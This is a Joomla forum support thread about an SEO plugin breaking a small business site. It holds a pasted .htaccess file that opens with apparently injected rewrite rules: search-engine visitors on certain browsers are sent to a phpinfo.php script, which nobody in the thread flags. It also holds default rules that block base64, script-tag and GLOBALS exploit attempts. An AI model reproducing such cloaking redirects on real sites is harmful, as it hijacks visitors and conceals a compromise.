-
AuthorPosts
-
September 17, 2013 at 5:20 pm #190687
Okay, so everytime I use the mod-rewrite function of SH404sef, the only page accessible is my home page and everything else gives me an error. I have changed my file to .htaccess, however it looks odd. I’m not sure if another plugin has changed it or what. Here is my .htaccess file
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline).(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/phpinfo.php
RewriteRule (.*) /phpinfo.php?query=$1 [QSA,L]
</IfModule>
# Use PHP5.4 as default
AddHandler application/x-httpd-php54 .phpRedirect 301 /face-painting-balloons-magic-marco-island.html /index.php
Redirect 301 /entertainment-fort-myers-magic.html /index.php
Redirect 301 /naples-and-fort-myers-most-popular-country-club-and-corporate-magician.html /index.php/Stage-magic-Naples/best-magician-naples-fort-myers-country-club-corporate.html
Redirect 301 /naples-fort-myers-award-winning-closeup-magician.html /index.php/Strolling-Magic-Closeup-Magic-Naples/closeup-magic-strolling-magic-naples-fort-myers.html
End File
The odd thing is, if I go into Notepad and change anything, even if I remove the 301 redirects, the entire site goes down. Nothing shows up, not even the control panel.As soon as I restore the original .htaccess that came with the template, the entire site goes down. I can’t access the site or the backend. Nothing shows up, not even an error.
My hosting company is bluehost.
Please help as I don’t know what to try next. Short of starting all over with a fresh install, even then I don’t know if it will fix it.
My site is balloonsonthemenu.com.
phong nam Friendphong nam
- Join date:
- May 2015
- Posts:
- 3779
- Downloads:
- 1
- Uploads:
- 587
- Thanks:
- 499
- Thanked:
- 974 times in 888 posts
September 18, 2013 at 7:39 am #506195Hi xtra12,
In this case, i suggest you to use the default .htaccess file of Joomla installation without any additional access restriction/ re-write rules on moduels/plugins. That will help you to solve this issue. The .htaccess file should be:
##
# @package Joomla
# @copyright Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.
# @license GNU General Public License version 2 or later; see LICENSE.txt
####
# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations. It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file. If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's. If they work,
# it has been set by your server administrator and you do not need it set here.
#### Can be commented out if causes errors, see notes above.
Options +FollowSymLinks## Mod_rewrite in use.
RewriteEngine On
## Begin - Rewrite rules to block out some common exploits.
# If you experience problems on your site block out the operations listed below
# This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to base64_encode data within the URL.
RewriteCond %{QUERY_STRING} base64_encode[^(]*([^)]*)
# Block out any script that includes a <script> tag in URL.
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL.
RewriteCond %{QUERY_STRING} GLOBALS(=|{0,2})
# Block out any script trying to modify a _REQUEST variable via URL.
RewriteCond %{QUERY_STRING} _REQUEST(=|{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
## End - Rewrite rules to block out some common exploits.## Begin - Custom redirects
#
# If you need to redirect some pages, or set a canonical non-www to
# www redirect (or vice versa), place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
## End - Custom redirects##
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root).
##RewriteBase /
## Begin - Joomla! core SEF Section.
#
RewriteRule .* -
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index.php
# and the request is for something within the component folder,
# or for the site root, or for an extensionless URL, or the
# requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|.(php|html?|feed|pdf|vcf|raw))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
## End - Joomla! core SEF Section.
The red lines are the configurations of SEFs on Joomla website which is recommended officially at http://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs
1 user says Thank You to phong nam for this useful post
September 18, 2013 at 3:03 pm #506242Thanks, Leo. I just tried that and put the new .htaccess file in there. It made the whole site crash where it won’t show up. I can’t even access the backend, either.
phong nam Friendphong nam
- Join date:
- May 2015
- Posts:
- 3779
- Downloads:
- 1
- Uploads:
- 587
- Thanks:
- 499
- Thanked:
- 974 times in 888 posts
September 18, 2013 at 3:16 pm #506244Hi xtra12,
If it is not related to SEFs configurations, i suggest you to check out the recent installed plugins/modules. Since they also can affect to the website’s url handling. If possible, can you back up your website and send me PM with your website’s credentials ? I will be happy to check this issue for you.
1 user says Thank You to phong nam for this useful post
September 18, 2013 at 3:43 pm #506255Sent you a PM with details. Thanks so much, anything you can find would be so helpful!
September 19, 2013 at 5:31 pm #506389Have you been able to find anything?
phong nam Friendphong nam
- Join date:
- May 2015
- Posts:
- 3779
- Downloads:
- 1
- Uploads:
- 587
- Thanks:
- 499
- Thanked:
- 974 times in 888 posts
September 21, 2013 at 10:16 am #506562Hi xtra,
I’m sorry for the late response on your issue. Your website is available now. It seems that i was recovered by our teammates, another supporter. You can access your backend and front-end of your website now.
September 21, 2013 at 11:47 pm #506588Thanks so much! Did you find out what was causing it?
phong nam Friendphong nam
- Join date:
- May 2015
- Posts:
- 3779
- Downloads:
- 1
- Uploads:
- 587
- Thanks:
- 499
- Thanked:
- 974 times in 888 posts
September 22, 2013 at 2:39 am #506592Hi xtra12,
Temporarily, we deleted the sh404sef plugin on your website since it can cause the wrong url address, that make the front-end, backend and other’s internal links not reachable. If you still want to use sh404sef, i suggest you to try to configure this url plugin on a test site before applying on your productive site. You also can refer this tip to configure this plugin at http://www.ostraining.com/blog/joomla/sh404sef/
1 user says Thank You to phong nam for this useful post
September 22, 2013 at 8:37 pm #506641Thanks, Leo. Do you recommend using SH404sef or is it more trouble than it’s worth? It’s giving me fits on the 301 redirects or “aliases” as it calls them. In my past site I mainly enjoyed the function of submitting the sitemaps through it.
phong nam Friendphong nam
- Join date:
- May 2015
- Posts:
- 3779
- Downloads:
- 1
- Uploads:
- 587
- Thanks:
- 499
- Thanked:
- 974 times in 888 posts
September 23, 2013 at 2:04 am #506652Hi xtra12,
In my point of view, you can use the default Joomla SEFs to adjust the url aliases and .htaccess file to set the 301 redirects on your website. It will be safer and easy for you to get the acceptable result as sh404sef.
1 user says Thank You to phong nam for this useful post
-
AuthorPosts
This topic contains 11 replies, has 2 voices, and was last updated by phong nam 11 years, 2 months ago.
We moved to new unified forum. Please post all new support queries in our New Forum